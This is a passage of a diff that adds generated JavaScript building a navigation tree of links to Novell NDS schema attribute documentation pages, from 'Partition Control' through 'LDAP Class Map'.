+ var navElement = navigationLink("Partition Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4716.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Creation Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4728.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Allow Change ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4734.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4740.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Management ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4752.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Minimum Length ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4758.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4764.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Unique Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4770.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Passwords Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Permanent Config Parms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Physical Delivery Office Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Office Box ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postmaster ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("preferredDeliveryMethod ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("presentationAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("protocolInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Purge Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Received Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("registeredAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Role Occupant ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("roomNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Run Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAP Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5118.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchSizeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchTimeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5130.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Equals ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5136.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5142.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("See Also ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5148.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Serial Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5154.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5160.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server Holds ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5166.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Set Password After Create ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5178.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5286.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedAlgorithms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5298.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedApplicationContext ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5304.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Connections ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5310.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Gateway ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5316.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Services ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5322.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Typefaces ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5328.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Surname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5334.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization Tolerance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5358.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronized Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5370.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5376.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexTerminalIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5388.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timezone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Title ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5400.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Transitive Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5406.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Trustees Of New Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Type Creator Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5418.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5424.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("uniqueID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5430.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5436.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Auxiliary Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5442.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Base Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5448.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Used By ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5460.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userPassword ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6m1fnz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Uses ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5472.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5478.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume Space Restrictions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5490.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5496.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Default Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5508.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:WAN Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5514.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x121Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5520.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x500UniqueIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5526.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Attribute Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh5xp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("audio ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omwno.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("carLicense ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on4e7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Client Install Candidate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Color Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Dir Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Volume Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Locations ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Delivery Methods Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("displayName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Employee ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1114.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:AttributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1204.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1210.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1300.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI Security Scheme ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1306.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("jpegPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onfdu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("labeledUri ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onkke.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1372.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
